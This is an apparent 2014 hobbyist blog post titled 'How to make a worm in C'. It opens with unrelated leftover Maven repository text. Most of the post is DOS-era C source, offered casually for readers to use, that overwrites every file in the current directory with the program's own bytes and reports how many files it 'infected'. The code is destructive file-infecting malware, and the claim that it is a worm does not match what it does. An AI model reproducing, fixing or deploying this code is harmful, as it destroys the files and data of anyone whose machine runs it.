... net.sf.xss-html-filter xss-html-filter 1.1 xss-html-filter releases xss-html-filter Releases Repository http://xss-html-filter.sf.net/releases/ Computer Hacks and tricks: How to make a worm in C by alexthed4rk

Wednesday, September 17, 2014

How to make a worm in C by alexthed4rk

So my friend alexthed4rk gave me this code it is written in C hope you guys like it.

#include<stdio.h>
#include<io.h>
#include<dos.h> //Windows Only 
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
//LOL

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